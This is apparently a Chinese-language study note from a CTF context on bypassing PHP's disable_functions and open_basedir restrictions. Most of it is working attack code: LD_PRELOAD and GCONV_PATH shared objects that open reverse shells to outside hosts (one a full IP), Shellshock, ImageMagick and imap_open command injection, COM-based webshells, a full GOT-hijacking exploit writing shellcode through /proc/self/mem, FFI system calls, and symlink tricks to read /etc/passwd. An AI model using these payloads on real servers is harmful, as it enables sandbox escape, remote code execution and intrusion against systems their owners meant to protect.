disable_function

disable_function与open_basedir

这两个一直不知道是什么,今天我们来了解一下,并看看他们的bypass

disable_function

disable_function是php.ini的一个设置选项,可以用来设置php环境禁止使用某些函数,

(eval在php中不属于函数,因此disable_function对它不起作用)

bypass disable_function

突破disable_function限制执行命令 · ph0ebus’s Blog

这位师傅也是很厉害的(最近看到师傅新文章中挺多都是我计划要学的,嘻嘻),文章也写很好

利用LD_PRELOAD环境变量

查找php.ini中是否有遗漏的危险函数

system,passthru,exec,shell_exec,popen,proc_open,pcntl_exec

基本概念

讨论 LD_PRELOAD 前,先了解程序的链接。所谓链接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。一般来说,程序的链接分为静态链接和动态链接。静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库。所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

通过 ldd 命令可查看程序或者库文件所依赖的共享库列表,一般情况下,其加载顺序为

LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib > /usr/lib

劫持函数

通过putenv()函数将LD_PRELOAD设置为指定恶意动态链接库(.so)文件路径,利用其加载优先级高劫持任意函数执行的内容

这里以 mail() 为例,mail 函数是一个发送邮件的函数,当使用到这玩意儿发送邮件时会使用到系统程序/usr/sbin/sendmail,我们如果能劫持到 sendmail 触发的函数,那么就可以达到执行任意系统命令的目的了。

可以使用readelf -Ws /usr/sbin/sendmail命令查看 sendmail 命令可能调用的库函数,strace -f可查看具体执行过程中调用的函数,这里拿 geteuid() 函数为例

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
	system("bash -c 'bash -i >& /dev/tcp/101.42.xx.xx/23333 0>&");
}

int  geteuid() {
	if (getenv("LD_PRELOAD") == NULL) { 
        return 0;
    }
    // 还原函数调用关系,用函数 unsetenv() 解除
    unsetenv("LD_PRELOAD"); /
    payload();
}

将 c 编译为动态链接库

gcc hack.c -shared -fPIC -o hack.so

然后执行php函数

<?php
    putenv("LD_PRELOAD=/tmp/hack.so"); // 编译.c文件后的.so文件位置
    mail("","","","");
?>

与此类似的php函数还有error_log()和mb_send_mail()

error_log("",1,"","");
mb_send_mail("","","");

预加载共享对象

系统通过LD_PRELOAD预先加载共享对象,如果在加载时就执行代码,就不用劫持函数以此绕过disable_function。GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((constructor)) void payload (){
    unsetenv("LD_PRELOAD");
    system("bash -c 'bash -i >& /dev/tcp/118.89.61.71/7777 <&1'");
}

利用socket进行连接

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
char *server_ip = "vps";
uint32_t server_port = 114514;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)
        exit(0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execve("/bin/bash", 0, 0);
}

利用GCONV_PATH环境变量 (需要两个文件)

GCONV_PATH能够使glibc使用用户自定义的gconv_modules文件。gconv_modules文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv_modules文件提供了各个字符集的.so文件所在位置

PHP的iconv函数的第一个参数是字符集的名字,这个参数会传递到glibc的iconv_open函数的参数中,iconv_open函数依照GCONV_PATH找到gconv_modules文件的知识找到参数对应的.so文件,然后调用.so文件中的gconv()gconv_init()

#include <stdio.h>
#include <stdlib.h>

void gconv(){
}


void gconv_init(){
    system("bash -c 'bash -i >& /dev/tcp/xxxxxx/xxxx 0>&1'");
}

编译为so文件

gcc exp.c -shared -fPIC -o exp.so

可写目录创建gconv_modules文件

//PAYLOAD为字符集名称
module  PAYLOAD//  INTERNAL     /tmp/exp    2
module  INTERNAL   PAYLOAD//    /tmp/exp    2

    
//exp为字符集名称
module  exp//  INTERNAL     /tmp/exp    2
module  INTERNAL   exp//    /tmp/exp    2

然后php代码触发

<?php 
    putenv("GCONV_PATH=/tmp/");    
    iconv("payload", "UTF-8", "whatever");    //第一个为对应的字符集名称
?>


<?php
	putenv("GCONV_PATH=/tmp/");
	iconv_strlen("1","exp");      //第二个为对应的字符集名称
?>
<?php
    putenv("GCONV_PATH=/tmp/"); 
    include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');
    //定义的字符集名称放在iconv后面
?>

利用 ShellShock (env解析为函数)

该方法利用的Bash Shellshock 破壳漏洞(CVE-2014-6271)

  • php < 5.6.2
  • bash <= 4.3

Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

命令行输入env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果输出了vulnerable,则说明存在bash破壳漏洞

<?php 

function shellshock($cmd) { 
	
	// Execute a command via CVE-2014-6271 @mail.c:283 
   
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   error_log('a',1);
   
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   //mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
   
   
   
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>
<?php
putenv("PHP_flag=() { :; }; ls / > /tmp/t.txt");
error_log("",1,"","");
?>

Apache Mod CGI

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

Apache在配置开启CGI后可以用ScriptAlias指令指定一个目录,指定的目录下面便可以存放可执行的CGI程序。

若是想临时允许一个目录可以执行CGI程序并且使得服务器将自定义的后缀解析为CGI程序执行,则可以在目的目录下使用htaccess文件进行配置,如下:

Options +ExecCGI
AddHandler cgi-script .ant

由于CGI程序可以执行命令,那我们可以利用CGI来执行系统命令绕过disable_functions。

上传shell.ant

#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id

FastCGI/PHP-FPM

FastCGI,它每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。

FPM就是Fastcgi的协议解析器,Web服务器使用CGI协议封装好用户的请求发送给FPM。FPM按照CGI的协议将TCP流解析成真正的数据。由于FPM默认监听的是9000端口,我们就可以绕过Web服务器,直接构造Fastcgi协议,和FPM进行通信。于是就有了利用 Webshell 直接与 FPM 通信 来绕过 disable functions 的姿势。

通过PHP-FPM的环境变量PHP_VALUEPHP_ADMIN_VALUE设置php.ini配置项,通过配置项auto_prepend_fileauto_append_file结合php://input包含任意php代码并执行,并且修改了远程文件包含选项allow_url_include为on

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

利用ImageMagick

在 ImageMagick 的默认配置文件 /etc/ImageMagick/delegates.xml 里可以看到所有的委托。这个文件定义了很多占位符,比如 %i 是输入的文件名,%l 是图片exif label信息。而在后面 command 的位置,%i 和 %l 等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号或闭合双引号,来执行任意命令。如果在phpinfo中看到有这个ImageMagick,可以尝试一下

  • Imagemagick < 6.9.3-10
  • Imagemagick < 7.0.1-1
  • PHP >= 5.4
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

imap_open()绕过

  • 安装了imap扩展
  • imap.enable_insecure_rsh选项为On。

imap_open函数在将邮箱名称传递给rsh或ssh命令之前没有正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,可以发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞

<?php 
error_reporting(0); 
if (!function_exists('imap_open')) { 
	die("no imap_open function!"); 
} 
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}"; 
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .">/tmp/cmd_result") . '|base64$IFS$()-d|sh}'; 
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error()); 
sleep(5); 
echo file_get_contents("/tmp/cmd_result"); 
?>

Windows组件COM绕过

COM component(COM组件)是微软开发的软件开发技术。其实质是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。而在php中如果想要引用第三方动态库,需要通过 new COM(“Component.class”) 的方法来实现,其中的 Component 必须是COM组件

  • 要求 com.allow_dcom = true
  • 目标服务器为Windows系统
  • 在php/ext/目录下存在php_com_dotnet.dll这个文件

com.allow_dcom默认是不开启的,PHP 7版本开始要自己添加扩展extension=php_com_dotnet.dll

创建一个COM对象,通过调用COM对象的exec替我们执行命令

<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
    $command = $_GET['cmd'];
    $wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
    $exec = $wshit->exec("cmd /c".$command);
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;
}
elseif($wsh == 'application') {
    $command = $_GET['cmd'];
    $wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
    $exec = $wshit->ShellExecute("cmd","/c ".$command);
} 
else {
  echo(0);
}
?>

劫持got表绕过

在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用,那么它就不会在程序生命中被加载进来。简单说就是,函数第一次用到的时候才会把在自己的真实地址给写到相应的got表里,没用到就不绑定了。这就是延迟绑定,由于这个机制,第一次调用函数的时候,got表中“存放”的地址不是函数的真实地址,而是plt 表中的第二条汇编指令,接下来会进行一系列操作装载相应的动态链接库,将函数的真实地址写在got表中。以后调用该函数时,got表保存着其真实地址。

这里劫持got表就是修改函数的got表的地址的内容为我们的shellcode的地址

  • step 1:通过php脚本解析/proc/self/exe得到open函数的got表的地址。
  • step 2:通过读取/proc/self/maps得到程序基地址,栈地址,与libc基地址。
  • step 3:通过php脚本解析libc得到system函数的地址,结合libc基地址(两者相加)可以得到system函数的实际地址。
  • step 4:通过读写/proc/self/mem实现修改open函数的got表的地址的内容为我们的shellcode的地址。向我们指定的shellcode的地址写入我们的shellcode。

exp(命令无回显,如果没有权限读写/proc/self/mem,自然也就无法利用了)

<?php /***
 *
* BUG修正请联系我
* @author
* @email xiaozeend@pm.me *
*/
/*
section tables type
*/
define('SHT_NULL',0);
define('SHT_PROGBITS',1);
define('SHT_SYMTAB',2);
define('SHT_STRTAB',3);
define('SHT_RELA',4);
define('SHT_HASH',5);
define('SHT_DYNAMIC',6);
define('SHT_NOTE',7);
define('SHT_NOBITS',8);
define('SHT_REL',9);
define('SHT_SHLIB',10);
define('SHT_DNYSYM',11);
define('SHT_INIT_ARRAY',14);
define('SHT_FINI_ARRAY',15);
//why does section tables have so many fuck type
define('SHT_GNU_HASH',0x6ffffff6);
define('SHT_GNU_versym',0x6fffffff);
define('SHT_GNU_verneed',0x6ffffffe);


class elf{
    private $elf_bin;
    private $strtab_section=array();
    private $rel_plt_section=array();
    private $dynsym_section=array();
    public $shared_librarys=array();
    public $rel_plts=array();
    public function getElfBin()
{
        return $this->elf_bin;
    }
    public function setElfBin($elf_bin)
{
        $this->elf_bin = fopen($elf_bin,"rb");
    }
    public function unp($value)
{
        return hexdec(bin2hex(strrev($value)));
    }
    public function get($start,$len){

        fseek($this->elf_bin,$start);
        $data=fread ($this->elf_bin,$len);
        rewind($this->elf_bin);
        return $this->unp($data);
    }
    public function get_section($elf_bin=""){
        if ($elf_bin){
            $this->setElfBin($elf_bin);
        }
        $this->elf_shoff=$this->get(0x28,8);
        $this->elf_shentsize=$this->get(0x3a,2);
        $this->elf_shnum=$this->get(0x3c,2);
        $this->elf_shstrndx=$this->get(0x3e,2);
        for ($i=0;$i<$this->elf_shnum;$i+=1){
            $sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
            switch ($sh_type){
                case SHT_STRTAB:
                    $this->strtab_section[$i]=
                        array(
                            'strtab_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
                            'strtab_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8)
                        );
                    break;

                case SHT_RELA:
                    $this->rel_plt_section[$i]=
                        array(
                            'rel_plt_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
                            'rel_plt_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
                            'rel_plt_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
                        );
                    break;
                case SHT_DNYSYM:
                    $this->dynsym_section[$i]=
                        array(
                            'dynsym_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
                            'dynsym_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
                            'dynsym_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
                        );
                    break;

                case SHT_NULL:
                case SHT_PROGBITS:
                case SHT_DYNAMIC:
                case SHT_SYMTAB:
                case SHT_NOBITS:
                case SHT_NOTE:
                case SHT_FINI_ARRAY:
                case SHT_INIT_ARRAY:
                case SHT_GNU_versym:
                case SHT_GNU_HASH:
                     break;

                default:
 //                   echo "who knows what $sh_type this is? ";

              } 
          }
     }
    public function get_reloc(){
        $rel_plts=array();
        $dynsym_section= reset($this->dynsym_section);
        $strtab_section=reset($this->strtab_section);
        foreach ($this->rel_plt_section as $rel_plt ){
             for ($i=$rel_plt['rel_plt_offset'];$i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];$i+=$rel_plt['rel_plt_entsize'])
             {
                $rel_offset=$this->get($i,8);
                $rel_info=$this->get($i+8,8)>>32;
                $fun_name_offset=$this->get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'],4);
                $fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
                $fun_name='';
                while ($this->get(++$fun_name_offset,1)!=""){
                    $fun_name.=chr($this->get($fun_name_offset,1));
                }
                $rel_plts[$fun_name]=$rel_offset;
            }
        }
        $this->rel_plts=$rel_plts;
    }
    public function get_shared_library($elf_bin=""){
        if ($elf_bin){
            $this->setElfBin($elf_bin);
        }
        $shared_librarys=array();
        $dynsym_section=reset($this->dynsym_section);
        $strtab_section=reset($this->strtab_section);
        for($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];$i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];$i+=$dynsym_section['dynsym_entsize'])
        {
            $shared_library_offset=$this->get($i+8,8);
            $fun_name_offset=$this->get($i,4);
            $fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
            $fun_name='';
            while ($this->get(++$fun_name_offset,1)!=""){
                $fun_name.=chr($this->get($fun_name_offset,1));
            }
            $shared_librarys[$fun_name]=$shared_library_offset;
         }
         $this->shared_librarys=$shared_librarys;
   }
   public function close(){
       fclose($this->elf_bin);
   }

   public function __destruct()
   {
       $this->close();
   }
   public function packlli($value) {
       $higher = ($value & 0xffffffff00000000) >> 32;
       $lower = $value & 0x00000000ffffffff;
       return pack('V2', $lower, $higher);
   }
}
$test=new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc();  // 获得各函数的got表的地址
$open_php=$test->rel_plts['open'];
$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
preg_match('/(\w+)-(\w+).*?libc-/',$maps,$libcgain);
$libc_base = "0x".$libcgain[1];
echo "Libc base: ".$libc_base."\n";
echo "Stack location: ".$stack[1]."\n";
$array_tmp = explode('-',$maps);
$pie_base = hexdec("0x".$array_tmp[0]);
echo "PIE base: ".$pie_base."\n";
$test2=new elf();
$test2->get_section('/usr/lib64/libc-2.17.so');
$test2->get_reloc();
$test2->get_shared_library();  // 解析libc库,得到libc库函数的相对地址
$sys = $test2->shared_librarys['system'];
$sys_addr = $sys + hexdec($libc_base);
echo "system addr:".$sys_addr."\n";
$mem = fopen('/proc/self/mem','wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem,$open_php);
fwrite($mem,$test->packlli($shellcode_loc));
$command=$_GET['cmd'];  // 我们要执行的命令
$stack=hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$command}\x00");
$cmd = $stack;
$shellcode = "H\xbf".$test->packlli($cmd)."H\xb8".$test->packlli($sys_addr)."P\xc3";
fseek($mem,$shellcode_loc);
fwrite($mem,$shellcode);
readfile('zxhy');
// highlight_file('zxhy');
// show_source('zxhy');
// file_get_contents('zxhy');
exit();

利用GC UAF

此漏洞利用 PHP 垃圾收集器中一个三年前的bug来绕过 disable_functions 并执行系统命令。

  • Linux 操作系统
  • PHP7.0 - all versions to date
  • PHP7.1 - all versions to date
  • PHP7.2 - all versions to date
  • PHP7.3 - all versions to date

exp:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

利用 Json Serializer UAF

此漏洞利用json序列化程序中的释放后使用漏洞,利用json序列化程序中的堆溢出触发,以绕过disable_functions和执行系统命令

  • Linux 操作系统
  • PHP7.1 - all versions to date
  • PHP7.2 < 7.2.19 (released: 30 May 2019)
  • PHP7.3 < 7.3.6 (released: 30 May 2019)

exp: https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

利用 Backtrace UAF

该漏洞利用在debug_backtrace()函数中使用了两年的一个 bug。我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞

  • Linux 操作系统
  • PHP7.0 - all versions to date
  • PHP7.1 - all versions to date
  • PHP7.2 - all versions to date
  • PHP7.3 < 7.3.15 (released 20 Feb 2020)
  • PHP7.4 < 7.4.3 (released 20 Feb 2020)

exp: https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

利用 concat operation UAF

此漏洞利用处理字符串连接的函数中的bug。如果 $a.$b 满足某些条件,则可能导致内存损坏的语句。错误报告提供了对漏洞的非常彻底的分析。

  • 7.3 - all versions to date
  • 7.4 - all versions to date
  • 8.0 - all versions to date
  • 8.1 - all versions to date

所有 PHP7 版本中都存在根本问题。但是,较旧的 (<7.3) 版本存在另一个错误,该错误会阻止在代码的某些部分正确释放内存,包括 concat_function 。此漏洞严重依赖该功能才能正常工作,因此在某种程度上,memleak 阻止了内存损坏漏洞的可利用性

exp: https://github.com/mm0r1/exploits/blob/master/php-concat-bypass/exploit.php

利用 user_filter

此漏洞利用了 10 多年前报告的bug

  • 5.* - exploitable with minor changes to the PoC
  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date
  • 7.4 < 7.4.26
  • 8.0 < 8.0.13

exp: https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php

利用SplDoublyLinkedList UAF

PHP的SplDoublyLinkedList双向链表库中存在一个UAF漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等。

  • PHP v7.4.10及其之前版本
  • PHP v8.0(Alpha)

例题:BMZCTF2020 - ezphp

exp: https://github.com/cfreal/exploits/blob/master/php-SplDoublyLinkedList-offsetUnset/exploit.php

利用FFI扩展

PHP FFI(Foreign Function interface),提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。

  • PHP >= 7.4
  • 开启了 FFI 扩展且ffi.enable=true

当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数或其他能实现我们需求的函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

$ffi = FFI::cdef("int system(char* command);");   # 声明C语言中的system函数
$ffi -> system("ls / > /tmp/res.txt");   # 执行ls /命令并将结果写入/tmp/res.txt

C库的system函数调用shell命令,只能获取到shell命令的返回值,而不能获取shell命令的输出结果,如果想获取输出结果我们可以用popen函数来实现。popen()函数会调用fork()产生子进程,然后从子进程中调用 /bin/sh -c 来执行参数 command 的指令。

popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针使用C库的fgetc等函数来读取子进程的输出设备或是写入到子进程的标准输入设备中。

$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");
$o = $ffi->popen("ls /","r");
$d = "";
while(($c = $ffi->fgetc($o)) != -1){
    $d .= str_pad(strval(dechex($c)),2,"0",0);
}
$ffi->pclose($o);
echo hex2bin($d);

还可以利用FFI调用php源码,比如php_exec()函数就是php源码中的一个函数,当他参数type为3时对应着调用的是passthru()函数,其执行命令可以直接将结果原始输出

$ffi = FFI::cdef("int php_exec(int type, char *cmd);");
$ffi -> php_exec(3,"ls /");

上传文件

蚁剑直接传

要求fputs,fwrite函数不被禁用

使用文件操作函数

如使用base64配合fopen, fputs, fwrite, file_put_contents

file_put_contents("a.php",base64_decode($_POST['a']))

原生类SplFileObject

$a = new SplFileObject("http://网址/文件");

或base64编码后的结果

$a = new SplFileObject("php://filter/convert.base64-encode/resource=http://网址/文件");
echo $a;

copy函数

copy("http://网址/文件", "文件保存路径");

move_uploaded_file函数,POST上传文件即可

move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);

FTP上传 **

server

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


authorizer = DummyAuthorizer()

authorizer.add_anonymous("./")

handler = FTPHandler
handler.authorizer = authorizer

handler.masquerade_address = "ip"
# 注意要用被动模式
handler.passive_ports = range(9998,10000)

server = FTPServer(("0.0.0.0", 23), handler)
server.serve_forever()

client

<?php
$local_file = '/tmp/exp.so';
$server_file = 'exp.so';
$ftp_server = 'xxxxx';
$ftp_port=23;

$ftp = ftp_connect($ftp_server,$ftp_port);

$login_result = ftp_login($ftp, 'anonymous', '');

ftp_pasv($ftp,1);

if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
    echo "Successfully written to $local_file\n";
} else {
    echo "There was a problem\n";
}

ftp_close($ftp);

?>

使用XML相关类写文件

SimpleXMLElement

$xml = new SimpleXMLElement([xml-data]);
$xml->asXML([filename]);

DOMDocument

$d=new DOMDocument();
$d->loadHTML("[base64-data]");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=[filename]")

文件上传临时文件 ***

文件被上传后,默认会被存储到服务端的默认临时目录中,该临时目录由php.ini的upload_tmp_dir属性指定,假如upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录中,在上传存储到临时目录后,临时文件命名的规则如下: 默认为 php+4或者6位随机数字和大小写字母 php[0-9A-Za-z]{3,4,5,6},上传完成则删除

这里可以使用用glob伪协议去锁定临时文件

var_dump(scandir('/tmp'));
$a=scandir("glob:///tmp/php*");
$filename="/tmp/".$a[0];
var_dump($filename);

//putenv("LD_PRELOAD=$filename");
//mb_send_mail("","","");

如果向我们的一句话木马POST的话,当然也可以使用以下代码来获取临时文件名

$_FILES['file']['tmp_name']

其他

如果第五个参数没有经过php_escape_shell_cmd处理,

可以使用mail(“”,””,””,””, ‘ -a ;ls / > /tmp/t.txt’);来进行命令执行,

如下

#include <stdio.h>

int main() {
    FILE *sendmail;
    int ret;
    char buf[128];
    
    sendmail = popen("/usr/sbin/sendmail -t -i -a;ls / > /tmp/ttt", "w");
    fprintf(sendmail, "2");
    while(fgets(buf, sizeof buf, sendmail)) {
        printf("%s", buf);
    }
    ret = pclose(sendmail);
    printf("%d", ret);
    return 0;
}
<?php 
putenv("LANG=zh_CN.GBK");
//ini_set('mail.force_extra_parameters',' -a;echo 1 > /tmp/t');
mail("","","","", ' -a '.chr(0xbf).';ls / > /tmp/t.txt');
?>

网上搜了一下,大概考点应该是disable_function绕过,网上给的脚本大多是先通过蚁剑连接再上传so文件进行绕过。但是查看了一下网站根目录,发现一个.antproxy.php,问了hurrison说是反制蚁剑连接的。

也就是说没办法蚁剑连接。查看权限,发现只有/var/www/html 是0755权限没有写文件权限,而其他路径都是0的权限,这道题势必要getshell执行系统命令才行了。

所以思路就是想办法上传文件,利用 LD_PRELOAD 环境变量来执行系统命令。

  • 执行print_r(glob('/*')); 发现/tmp目录,进入里面还有其他选手留下的脚本(
  • 所以思路是向/tmp目录下面写文件,利用文件包含getshell

参考 https://www.freebuf.com/articles/network/263540.html

原理:

利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),新进程 a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:

能够上传自己的.so文件

能够控制LD_PRELOAD环境变量的值,比如putenv()函数

因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等

openbase_dir (设置的是前缀)

open_basedir 是php.ini 中的 一个配置选项。可以用作与 将用户访问文件的活动范围限制在指定的区域 , 假设 open_basedir=/var/www/html:/tmp/ , 那么通过 web 1 访问服务器的用户 就无法获取服务器上除了 /var/www/html/web1 和 /tmp 这两个目录 以外 的文件。

注意: open_basedir 指定的限制实际上是前缀 而不是 目录名,

举个例子, 若“open_basedir” = /dir/user 那么目录 /dir/user 和 /dir/user1 都是可以访问的。。

所以,如果要访问限制在仅为指定的目录,请用斜线结束路径名。例如 设置成:“open_basedir”

=/dir/user/

bypass openbase_dir

<?php
mkdir("a");
chdir("a");
mkdir("b");
chdir("b");
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("a/b/c/d","qwe");
symlink("qwe/../../../../../../etc/passwd","exp");
unlink("qwe");
mkdir("qwe");
?>

然后访问127.0.0.1/exp即可

创建一个链接文件qwe,用小队路径指向A/B/C/D,再创建一个链接文件exp 指向 qwe/../../../../etc/passwd。 其实指向的就是A/B/C/D/../../../../etc/passwd,其实就是/etc/passwd. 这时候删除qwe再创一个qwe目录,但exp还是指向qwe/../../../etc/passwd,所以就成功跨到/etc/passwd了。

DirectoryIterator+glob://

DirectoryIterator是php的内置类,配合glob://能无视open_basedir的限制,读取根目录

<?php
$a = new DirectoryIterator("glob:///*");
foreach ($a as $file) {
    echo($file->__toString()."\n");
}
?>

但缺点是它们都只能列出根目录下和open_basedir指定的目录下的文件

opendir() + readdir()+glob://

<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>

